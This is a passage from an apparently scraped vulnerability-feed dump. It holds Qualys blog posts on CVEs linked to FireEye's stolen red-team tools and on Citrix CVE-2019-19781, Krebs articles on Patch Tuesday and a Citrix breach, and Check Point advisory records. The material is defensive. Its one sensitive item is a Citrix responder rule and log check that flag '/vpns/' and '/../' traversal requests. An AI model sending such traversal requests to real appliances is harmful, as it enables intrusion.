document](<https://docs.google.com/spreadsheets/d/1uRAT-khTdp7fp15XwkiDXo8bD0FzbdkevJ2CeyXeORs/edit>) containing all of the detections. In this document you can see valuable information such as the number of detections and file hashes for each of the detected samples. \n\n### Detect 16 Publicly Known Vulnerabilities using Qualys VMDR \n\nHere is a prioritized list of CVEs published on [Github](<https://github.com/fireeye/red_team_tool_countermeasures/blob/master/CVEs_red_team_tools.md>) by FireEye:\n\n**CVE** **ID**| **Name**| **CVSS**| **Qualys** **QID(s)** \n---|---|---|--- \nCVE-2019-11510| Pre-auth arbitrary file reading from Pulse Secure SSL VPNs| 10| 38771 \nCVE-2020-1472| Microsoft Active Directory escalation of privileges| 10| 91668 \nCVE-2018-13379| pre-auth arbitrary file reading from Fortinet Fortigate SSL VPN| 9.8| 43702 \nCVE-2018-15961| RCE via Adobe ColdFusion (arbitrary file upload that can be used to upload a JSP web shell)| 9.8| 371186 \nCVE-2019-0604| RCE for Microsoft Sharepoint| 9.8| 110330 \nCVE-2019-0708| RCE of Windows Remote Desktop Services (RDS)| 9.8| 91541, 91534 \nCVE-2019-11580| Atlassian Crowd Remote Code Execution| 9.8| 13525 \nCVE-2019-19781| RCE of Citrix Application Delivery Controller and Citrix Gateway| 9.8| 150273, 372305 \nCVE-2020-10189| RCE for ZoHo ManageEngine Desktop Central| 9.8| 372442 \nCVE-2014-1812| Windows Local Privilege Escalation| 9| 91148, 90951 \nCVE-2019-3398| Confluence Authenticated Remote Code Execution| 8.8| 13475 \nCVE-2020-0688| Remote Command Execution in Microsoft Exchange| 8.8| 50098 \nCVE-2016-0167| local privilege escalation on older versions of Microsoft Windows| 7.8| 91204 \nCVE-2017-11774| RCE in Microsoft Outlook via crafted document execution (phishing)| 7.8| 110306 \nCVE-2018-8581| Microsoft Exchange Server escalation of privileges| 7.4| 53018 \nCVE-2019-8394| Arbitrary pre-auth file upload to ZoHo ManageEngine ServiceDesk Plus| 6.5| 374547 \n \nQualys released several remote and authenticated QIDs for CVEs published by FireEye. You can search for these QIDs in VMDR Dashboard by using the following QQL query:\n\n_vulnerabilities.vulnerability.qid: [38771, 91668, 43702, 371186, 110330, 91541, 91534, 13525, 150273, 372305, 372442, 91148, 90951, 13475, 50098, 91204, 110306, 53018, 374547]_\n\n\n\n### Identify Vulnerable Assets using Qualys Threat Protection\n\nIn addition, Qualys customers can locate vulnerable host through [Qualys Threat Protection](<https://www.qualys.com/apps/threat-protection/>) by simply clicking on the impacted hosts. This helps in effectively identifying and tracking these vulnerabilities. \n\n\n\nWith VMDR Dashboard, you can track these 16 publicly known vulnerabilities, their impacted hosts, their status and overall management in real time. With trending enabled for dashboard widgets, you can keep track of these vulnerabilities trends in your environment using the [FireEye Theft Top 16 CVEs & IOC Hashes](<https://qualys-secure.force.com/customer/s/article/000006470>) dashboard. \n\n \n\n### **Compensating Controls for Reducing Risk of Vulnerabilities Leveraged by FireEye Red Team Tools** \n\nTo reduce the overall security risk, it is important to address misconfigurations associated with the CVEs in addition to general security hygiene and system hardening. \n\nQualys customers can leverage the newly released policy \u201c_Compensating Controls for Reducing Risk of Vulnerabilities Leveraged by FireEye Red Team Tools_.\u201d This policy contains controls which can be used as workarounds / mitigations for these vulnerabilities if patching cannot be done immediately. \n\n**Control List: ** \n\nCVE IDs| Control ID | Statement \n---|---|--- \nCVE-2020-1472| 20002| Status of the 'Domain controller: Allow vulnerable Netlogon secure channel connections' Group policy setting \nCVE-2018-13379 | 20010 | Status of the source interface setting for SSL-VPN \nCVE-2019-19781| 13952 | Status of 'Responder' feature configured on the appliance \nCVE-2019-19781 | 20011 | Status of the responder action configured on the device \nCVE-2019-19781 | 20008 | Status of the responder policies configured on the device \nCVE-2019-19781 | 20009 | Status of the responder global binds configured on the device \nCVE-2016-0167 | 19440 | Status of Trust Center "Block macros from running in Office files from the Internet" setting for a user profile \nCVE-2018-8581 | 20007 | Status of the 'DisableLoopbackCheck' setting \nCVE-2019-0708 | 10404 | Status of the 'Require user authentication for remote connections by using Network Level Authentication' setting \nCVE-2019-0708 | 7519 | Status of the 'Allow users to connect remotely using Remote Desktop Services (Terminal Services)' setting \nCVE-2019-0708 | 1430 | Status of the 'Terminal Services' service \nCVE-2019-0708 | 3932 | Status of the 'Windows Firewall: Inbound connections (Public)' setting \nCVE-2019-0708 | 3948 | Status of the 'Windows Firewall: Inbound connections (Private)' setting \nCVE-2019-0708 | 3949 | Status of the 'Windows Firewall: Inbound connections (Domain)' setting \nCVE-2019-0708 | 3950 | Status of the 'Windows Firewall: Firewall state (Public)' setting \nCVE-2019-0708 | 3951 | Status of the 'Windows Firewall: Firewall state (Private)' setting \nCVE-2019-0708 | 3952 | Status of the 'Windows Firewall: Firewall state (Domain)' setting \nCVE-2019-0708 | 11220 | List of 'Inbound Rules' configured in Windows Firewall with Advanced Security via GPO \nCVE-2017-11774 | 13843 | Status of the 'Do not allow folders in non-default stores to be set as folder home pages' setting \nCVE-2017-11774 | 20003 | Status of the 'EnableRoamingFolderHomepages' registry setting \nCVE-2017-11774 | 20004 | Status of the 'Do not allow Home Page URL to be set in folder Properties' Group policy setting \n \nWith Qualys Configuration Management, you can easily identify misconfigured systems in context of these vulnerabilities. The screenshot below shows the total passing and failing controls for the impacted assets in the report.\n\n\n\nView control posture details with remediation steps. The screenshot below shows control pass/fail details along with actual evidence from impacted asset. \n\n\n\n### FireEye Disclosure of the Theft of their Red Team Assessment Tools \n\nHackers now have an influential collection of new techniques to draw upon. Qualys released a new RTI for Solorigate/SUNBURST vulnerabilities so customers can effectively prioritize these CVEs in their environment.\n\nUsing [Qualys VMDR](<https://www.qualys.com/subscriptions/vmdr/>), the vulnerabilities for Solorigate/SUNBURST can be prioritized for the following real-time threat indicators (RTIs):\n\n * Active Attacks\n * Solorigate Sunburst (**New RTI**)\n\n\n### Remediate FireEye-Related Vulnerabilities with Qualys Patch Management\n\n#### Identify and Install Needed Patches\n\nTo view the relevant missing patches in your environment that are required to remediate the vulnerabilities leveraged by the FireEye tools you may run the following QQL in the Patches tab of [Qualys Patch Management](<https://www.qualys.com/apps/patch-management/>):\n \n \n (qid: [91541,372442,38771,91534,91204,110330,371186,91148,90951,43702,374547,372305,110306,50098,91668,13475,53018,13525,150273])\n\n\n\nIt is highly recommended to select all the patches returned by this QQL and add them to a new on-demand patch job. You can then target as many assets as possible and deploy the patch job as soon as possible. Note that the [Qualys Cloud Agent](<https://www.qualys.com/cloud-agent/>) will only deploy the right patch to the right asset, meaning the Qualys patch job will do the mapping of patch to asset (so you don\u2019t have to) ensuring only the right patch is deployed to the right asset (in terms of binary architecture, OS version, etc). In addition, if a patch is not needed by a specific asset the Qualys agent will \u201cskip\u201d this asset and the patch will not be deployed.\n\nThe same QQL can be used in the patch assets tab in order to see all the assets that miss at least one of the FireEye-related patches:\n\n\n\n#### Visualize Assets Requiring Patches\n\nQualys has created two dashboard widgets that you can import into the patch management dashboard. These widgets will show the number of missing FireEye-related patches in your environment and the number of assets in your environment missing one of those patches.\n\nSteps to Import the Widget:\n\n * Click on "Setting" icon in "Dashboard" section.\n * Select "Import New Widget" option.\n * Enter a name of your choice for the widget.\n * Browse the JSON file to import.\n * Click on "Import" button.\n * On success, you should see the new widget in your Dashboard.\n\nYou can download these two dashboard widgets from the PatchMGMT-Fireeye-Widgets attachment at the bottom of the [FireEye Theft dashboards](<https://qualys-secure.force.com/customer/s/article/000006470>) article. \n\n### Hunting in Endpoint Detection and Response (EDR) \n\nThere are two components to hunt for evidence of these tools using the [Qualys EDR](<https://www.qualys.com/apps/endpoint-detection-response/>). The first is looking for evidence of the files from the provided Yara signatures. Qualys has taken the file hashes from the RetroHunt tool and created a dashboard. With a single click you can find evidence of any matches in your environment. \n\nThe second component is hunting for evidence of the processes outlined in the OpenIOC signatures. While these signatures cannot be imported directly into Qualys EDR, the Qualys Labs team is converting these into Qualys Query Language (QQL) which can be used in the Qualys EDR hunting page. An example provided here shows hunting for [this Seatbelt signature](<https://github.com/fireeye/red_team_tool_countermeasures/blob/master/rules/BELTALOWDA/supplemental/hxioc/SEATBELT%20\\(UTILITY\\).ioc>). In the coming days, these hunting queries will be available to all Qualys EDR customers. \n\n\n\n\n\n### Get Started Now \n\nStart your [Qualys VMDR trial](<https://www.qualys.com/subscriptions/vmdr/>) to automatically identify, detect and patch the high-priority publicly known vulnerabilities. \n\nStart your [Qualys EDR trial](<https://www.qualys.com/apps/endpoint-detection-response/>) to protect the entire attack chain, from attack and breach prevention to detection and response using the power of the Qualys Cloud Platform \u2013 all in a single, cloud-based app. \n\nStart your [Qualys Threat Protection](<https://www.qualys.com/apps/threat-protection/>) trial to access the Live Threat Intelligence Feed that displays the latest vulnerability disclosures and maps them to your impacted IT assets. You can see the number of assets affected by each threat, and drill down into asset details. \n\n### References \n\n<https://github.com/fireeye/red_team_tool_countermeasures>\n\n<https://www.fireeye.com/blog/products-and-services/2020/12/fireeye-shares-details-of-recent-cyber-attack-actions-to-protect-community.html>\n\n<https://github.com/fireeye/red_team_tool_countermeasures/blob/master/CVEs_red_team_tools.md>\n\n<https://www.fireeye.com/blog/threat-research/2020/12/unauthorized-access-of-fireeye-red-team-tools.html>", "cvss3": {}, "published": "2020-12-10T00:48:29", "type": "qualysblog", "title": "Solorigate/Sunburst : Theft of Cybersecurity Tools | FireEye Breach", "bulletinFamily": "blog", "cvss2": {}, "cvelist": ["CVE-2014-1812", "CVE-2016-0167", "CVE-2017-11774", "CVE-2018-13379", "CVE-2018-15961", "CVE-2018-8581", "CVE-2019-0604", "CVE-2019-0708", "CVE-2019-11510", "CVE-2019-11580", "CVE-2019-19781", "CVE-2019-3398", "CVE-2019-8394", "CVE-2020-0688", "CVE-2020-10189", "CVE-2020-1472"], "modified": "2020-12-10T00:48:29", "id": "QUALYSBLOG:282A52EA9B1F4C4F3F084197709217B0", "href": "https://blog.qualys.com/category/vulnerabilities-research", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2020-01-20T12:15:15", "description": "**Update January 17, 2020**: A new detection in Qualys Web Application Scanning was added. See \"Detecting with Qualys WAS\" below.\n\nCitrix released a [security advisory](<https://support.citrix.com/article/CTX267027>) ([CVE-2019-19781](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-19781>)) for a remote code execution vulnerability in Citrix Application Delivery Controller (ADC) and Citrix Gateway products. The vulnerability allows an unauthenticated remote attacker to execute arbitrary code on the system. Once exploited, remote attackers could obtain access to private network resources without requiring authentication.\n\nDuring the week of January 13, [attacks on Citrix appliances](<https://threatpost.com/unpatched-citrix-flaw-exploits/151748/>) have [intensified](<https://www.zdnet.com/article/a-hacker-is-patching-citrix-servers-to-maintain-exclusive-access/>). Because of the active attacks and the ease of exploitation, organizations are advised to pay close attention.\n\n### About CVE-2019-19781\n\nThe vulnerability affects all supported versions of Citrix ADC and Citrix Gateway products. As Citrix did not disclose many details about the vulnerability, the [mitigation steps](<https://support.citrix.com/article/CTX267679>) suggest the VPN handler fails to sufficiently sanitize user-supplied inputs. The exploit attempt would include HTTP requests with \u2018/../\u2019 and \u2018/vpns/\u2019 in the URL. The responder policy rule checks for string \u201c/vpns/\" and if user is connected to the SSLVPN, and sends a 403 response as seen below.\n\n_add responder policy ctx267027 \"HTTP.REQ.URL.DECODE_USING_TEXT_MODE.CONTAINS(\\\"/vpns/\\\") && (!CLIENT.SSLVPN.IS_SSLVPN || HTTP.REQ.URL.DECODE_USING_TEXT_MODE.CONTAINS(\\\"/../\\\"))\" respondwith403 _\n\n### Detecting with Qualys VM\n\nQualys has issued QID 372305 for [Qualys Vulnerability Management](<https://www.qualys.com/apps/vulnerability-management/>) that includes authenticated and remote detections of vulnerabilities present in affected Citrix products. This QID is included in signature version VULNSIGS-2.4.788-2.\n\n_QID 372305 : Citrix ADC And Citrix Gateway Arbitrary Code Execution Vulnerability (CTX267027)_\n\nThe QID contains a remote and an authenticated signature to check the presence of vulnerability in Citrix Products. \nYou can search for this new QID in AssetView or within the VM Dashboard by using the following QQL query:\n\n_vulnerabilities.vulnerability.qid:372305_ \n_vulnerabilities.vulnerability.cveId:`CVE-2019-19781`_\n\nThis will return a list of all impacted hosts.\n\nYou can also create a Dashboard to track all Citrix vulnerabilities as shown in the template below:\n\n\n\n \n\n### Detecting with Qualys Threat Protection\n\nThe fastest way to locate vulnerable hosts is though the [Qualys Threat Protection](<https://www.qualys.com/apps/threat-protection/>) Live Feed as seen here:\n\n\n\nSimply click on the Impacted Assets number to see a list of hosts with this vulnerability.\n\n### Detecting with Qualys WAS\n\nQualys has released QID 150273 in [Qualys Web Application Scanning](<https://www.qualys.com/apps/web-app-scanning/>) (WAS) that includes a passive detection of vulnerabilities present in the affected Citrix products.\n\n_QID 150273 : Citrix ADC And Citrix Gateway Arbitrary Code Execution Vulnerability (CTX267027)_\n\nThis detection is useful for customers using Qualys WAS in their environments, and it has the advantage of detecting both at the root level of the target being scanned **and** at the starting URL of the web application as specified in the WAS configuration.\n\nThe passive detection works by sending an HTTPS request and looking for evidence of the vulnerability in the response. If the scanned application is vulnerable, the QID will be reported in your Qualys WAS scan report.\n\n### Mitigation\n\nCustomers are recommended to apply Citrix\u2019s [Mitigation Steps for CVE-2019-19781](<https://support.citrix.com/article/CTX267679>) as soon as possible.\n\nCustomers can check their systems for exploit attempts using \u201cgrep\u201d for requests that contain \u201cvpns\u201d and \u201c..\u201d.\n\nA patch is expected from Citrix by the end of January 2020, and organizations are advised to install that patch as soon as it is available.", "cvss3": {}, "published": "2020-01-09T00:12:26", "type": "qualysblog", "title": "Citrix ADC and Gateway Remote Code Execution Vulnerability (CVE-2019-19781)", "bulletinFamily": "blog", "cvss2": {}, "cvelist": ["CVE-2019-19781"], "modified": "2020-01-09T00:12:26", "id": "QUALYSBLOG:82E24C28622F0C96140EDD88C6BD8F54", "href": "https://blog.qualys.com/laws-of-vulnerabilities/2020/01/08/citrix-adc-and-gateway-remote-code-execution-vulnerability-cve-2019-19781", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}], "krebs": [{"lastseen": "2020-09-08T21:40:55", "description": "**Microsoft **today released updates to remedy nearly 130 security vulnerabilities in its** Windows** operating system and supported software. None of the flaws are known to be currently under active exploitation, but 23 of them could be exploited by malware or malcontents to seize complete control of Windows computers with little or no help from users.\n\n\n\nThe majority of the most dangerous or "critical" bugs deal with issues in Microsoft's various Windows operating systems and its web browsers, **Internet Explorer** and **Edge**. September marks the seventh month in a row Microsoft has shipped fixes for more than 100 flaws in its products, and the fourth month in a row that it fixed more than 120.\n\nAmong the chief concerns for enterprises this month is [CVE-2020-16875](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2020-16875>), which involves a critical flaw in the email software **Microsoft Exchange Server 2016 and 2019. **An attacker could leverage the Exchange bug to run code of his choosing just by sending a booby-trapped email to a vulnerable Exchange server.\n\n"That doesn\u2019t quite make it wormable, but it\u2019s about the worst-case scenario for Exchange servers," said **Dustin Childs**, of **Trend Micro's Zero Day Initiative**. "We have seen the previously patched Exchange bug [CVE-2020-0688](<https://krebsonsecurity.com/2020/03/microsoft-patch-tuesday-march-2020-edition/>) used in the wild, and that requires authentication. We\u2019ll likely see this one in the wild soon. This should be your top priority."\n\nAlso not great for companies to have around is [CVE-2020-1210](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2020-1210>), which is a remote code execution flaw in supported versions of **Microsoft Sharepoint** document management software that bad guys could attack by uploading a file to a vulnerable Sharepoint site. Security firm **Tenable** notes that this bug is reminiscent of [CVE-2019-0604](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2019-0604>), another Sharepoint problem that's been exploited for cybercriminal gains since April 2019.\n\nMicrosoft fixed at least five other serious bugs in Sharepoint versions 2010 through 2019 that also could be used to compromise systems running this software. And because ransomware purveyors have a history of seizing upon Sharepoint flaws to wreak havoc inside enterprises, companies should definitely prioritize deployment of these fixes, says **Alan Liska**, senior security architect at **Recorded Future**.\n\n**Todd Schell** at **Ivanti** reminds us that Patch Tuesday isn't just about Windows updates: Google has shipped a critical update for its Chrome browser that resolves at least five security flaws that are rated high severity. If you use Chrome and notice an icon featuring a small upward-facing arrow inside of a circle to the right of the address bar, it's time to update. Completely closing out Chrome and restarting it should apply the pending updates.\n\nOnce again, there are no security updates available today for **Adobe's Flash Player**, although the company did ship a non-security software update for the browser plugin. The last time Flash got a security update was June 2020, which may suggest researchers and/or attackers have stopped looking for flaws in it. Adobe says it will retire the plugin at the end of this year, and Microsoft has said it plans to completely remove the program from all Microsoft browsers via Windows Update by then.\n\nBefore you update with this month\u2019s patch batch, please make sure you have backed up your system and/or important files. It\u2019s not uncommon for Windows updates to hose one\u2019s system or prevent it from booting properly, and some updates even have known to erase or corrupt files.\n\nSo do yourself a favor and backup _before_ installing any patches. Windows 10 even has [some built-in tools](<https://lifehacker.com/how-to-back-up-your-computer-automatically-with-windows-1762867473>) to help you do that, either on a per-file/folder basis or by making a complete and bootable copy of your hard drive all at once.\n\nAnd if you wish to ensure Windows has been set to pause updating so you can back up your files and/or system before the operating system decides to reboot and install patches on its own schedule, see [this guide](<https://www.computerworld.com/article/3543189/check-to-make-sure-you-have-windows-updates-paused.html>).\n\nAs always, if you experience glitches or problems installing any of these patches this month, please consider leaving a comment about it below; there\u2019s a better-than-even chance other readers have experienced the same and may chime in here with some helpful tips.", "edition": 2, "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 8.8, "privilegesRequired": "LOW", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 5.9}, "published": "2020-09-08T21:33:26", "type": "krebs", "title": "Microsoft Patch Tuesday, Sept. 2020 Edition", "bulletinFamily": "blog", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.0, "vectorString": "AV:N/AC:L/Au:S/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "SINGLE"}, "acInsufInfo": false, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2019-0604", "CVE-2020-0688", "CVE-2020-1210", "CVE-2020-16875"], "modified": "2020-09-08T21:33:26", "id": "KREBS:DF8493DA16F49CE6247436830678BA8D", "href": "https://krebsonsecurity.com/2020/09/microsoft-patch-tuesday-sept-2020-edition/", "cvss": {"score": 9.0, "vector": "AV:N/AC:L/Au:S/C:C/I:C/A:C"}}, {"lastseen": "2020-02-19T23:32:25", "description": "Networking software giant **Citrix Systems** says malicious hackers were inside its networks for five months between 2018 and 2019, making off with personal and financial data on company employees, contractors, interns, job candidates and their dependents. The disclosure comes almost a year after Citrix acknowledged that digital intruders had broken in by probing its employee accounts for weak passwords.\n\n[](<https://krebsonsecurity.com/wp-content/uploads/2020/02/citrix-notice.png>)\n\nCitrix provides software used by hundreds of thousands of clients worldwide, including most of the Fortune 100 companies. It is perhaps best known for selling virtual private networking (VPN) software that lets users remotely access networks and computers over an encrypted connection.\n\nIn March 2019, the **Federal Bureau of Investigation** (FBI) alerted Citrix they had reason to believe cybercriminals had gained access to the company's internal network. The FBI told Citrix the hackers likely got in using a technique called \"[password spraying](<https://resources.infosecinstitute.com/password-spraying/>),\" a relatively crude but remarkably effective attack that attempts to access a large number of employee accounts (usernames/email addresses) using just a handful of common passwords.\n\nIn [a statement](<https://www.citrix.com/blogs/2019/03/08/citrix-investigating-unauthorized-access-to-internal-network/>) released at the time, Citrix said it appeared hackers \"may have accessed and downloaded business documents,\" and that it was still working to identify what precisely was accessed or stolen.\n\nBut in a letter sent to affected individuals dated Feb. 10, 2020, Citrix disclosed additional details about the incident. According to the letter, the attackers \"had intermittent access\" to Citrix's internal network between Oct. 13, 2018 and Mar. 8, 2019, and that there was no evidence that the cybercrooks still remain in the company's systems.\n\nCitrix said the information taken by the intruders may have included Social Security Numbers or other tax identification numbers, driver's license numbers, passport numbers, financial account numbers, payment card numbers, and/or limited health claims information, such as health insurance participant identification number and/or claims information relating to date of service and provider name.\n\nIt is unclear how many people received this letter, but the communication suggests Citrix is contacting a broad range of individuals who work or worked for the company at some point, as well as those who applied for jobs or internships there and people who may have received health or other benefits from the company by virtue of having a family member employed by the company.\n\nCitrix's letter was prompted by laws in virtually all U.S. states that require companies to notify affected consumers of any incident that jeopardizes their personal and financial data. While the notification does not specify whether the attackers stole proprietary data about the company's software and internal operations, the intruders certainly had ample opportunity to access at least some of that information as well.\n\nShortly after Citrix initially disclosed the intrusion in March 2019, a little-known security company **Resecurity** [claimed](<https://web.archive.org/web/20190313082751/https://resecurity.com/blog/supply-chain-the-major-target-of-cyberespionage-groups/>) it had evidence Iranian hackers were responsible, had been in Citrix\u2019s network for years, and had offloaded terabytes of data. Resecurity also presented evidence that it notified Citrix of the breach as early as Dec. 28, 2018, a claim Citrix initially denied but later acknowledged.\n\nIranian hackers recently have been blamed for hacking VPN servers around the world in a bid to plant backdoors in large corporate networks. A [report released this week](<https://www.clearskysec.com/wp-content/uploads/2020/02/ClearSky-Fox-Kitten-Campaign.pdf>) (PDF) by security firm **ClearSky** details how Iran's government-backed hacking units have been busy exploiting security holes in popular VPN products from Citrix and a number of other software firms.\n\nClearSky says the attackers have focused on attacking VPN tools because they provide a long-lasting foothold at the targeted organizations, and frequently open the door to breaching additional companies through supply-chain attacks. The company says such tactics have allowed the Iranian hackers to gain persistent access to the networks of companies across a broad range of sectors, including IT, security, telecommunications, oil and gas, aviation, and government.\n\nAmong the VPN flaws available to attackers is a recently-patched vulnerability ([CVE-2019-19781](<https://nvd.nist.gov/vuln/detail/CVE-2019-19781>)) in Citrix VPN servers dubbed \"Shitrix\" by some in the security community. The derisive nickname may have been chosen because while Citrix [initially warned customers about the vulnerability in mid-December 2019](<https://support.citrix.com/article/CTX267027>), it didn't start releasing patches to plug the holes until late January 2020 -- roughly two weeks after attackers started using [publicly released exploit code](<https://www.zdnet.com/article/proof-of-concept-code-published-for-citrix-bug-as-attacks-intensify/>) to break into vulnerable organizations.\n\nHow would your organization hold up to a password spraying attack? As the Citrix hack shows, if you don\u2019t know you should probably check, and then act on the results accordingly. It's a fair bet the bad guys are going to find out even if you don\u2019t.", "edition": 2, "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 9.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 5.9}, "published": "2020-02-19T15:55:04", "type": "krebs", "title": "Hackers Were Inside Citrix for Five Months", "bulletinFamily": "blog", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 6.4, "obtainUserPrivilege": false}, "cvelist": ["CVE-2019-19781"], "modified": "2020-02-19T15:55:04", "id": "KREBS:62E2D32C0ABD1C4B8EA91C60B425255B", "href": "https://krebsonsecurity.com/2020/02/hackers-were-inside-citrix-for-five-months/", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}], "checkpoint_advisories": [{"lastseen": "2022-02-16T19:40:23", "description": "A remote code execution vulnerability exists in Zoho ManageEngine Desktop Central. Successful exploitation of this vulnerability could allow a remote attacker to execute arbitrary code on the affected system.", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 9.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 5.9}, "published": "2020-03-08T00:00:00", "type": "checkpoint_advisories", "title": "Zoho ManageEngine Remote Code Execution (CVE-2020-10189)", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2020-10189"], "modified": "2020-03-08T00:00:00", "id": "CPAI-2020-0118", "href": "", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2021-12-17T11:19:47", "description": "A file disclosure vulnerability exists in Pulse Connect Secure. Successful exploitation of this vulnerability would allow a remote attacker to list directories on the affected system.", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 10.0, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 6.0}, "published": "2019-09-04T00:00:00", "type": "checkpoint_advisories", "title": "Pulse Connect Secure File Disclosure (CVE-2019-11510)", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 6.4, "obtainUserPrivilege": false}, "cvelist": ["CVE-2019-11510"], "modified": "2019-09-04T00:00:00", "id": "CPAI-2019-1097", "href": "", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2021-12-17T11:17:58", "description": "A directory traversal vulnerability exists in multiple Citrix products. Successful exploitation of this vulnerability could allow an attacker to retrieve or view arbitrary files from the affected server.", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 9.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 5.9}, "published": "2020-01-09T00:00:00", "type": "checkpoint_advisories", "title": "Citrix Multiple Products Directory Traversal (CVE-2019-19781)", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 6.4, "obtainUserPrivilege": false}, "cvelist": ["CVE-2019-19781"], "modified": "2020-01-26T00:00:00", "id": "CPAI-2019-1653", "href": "", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2021-12-17T11:19:07", "description": "A remote code execution vulnerability exists in Microsoft SharePoint. A remote attacker can exploit this vulnerability to execute arbitrary code via a specially crafted package on the vulnerable server.", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 9.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 5.9}, "published": "2019-03-20T00:00:00", "type": "checkpoint_advisories", "title": "Microsoft SharePoint Remote Code Execution (CVE-2019-0604)", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": 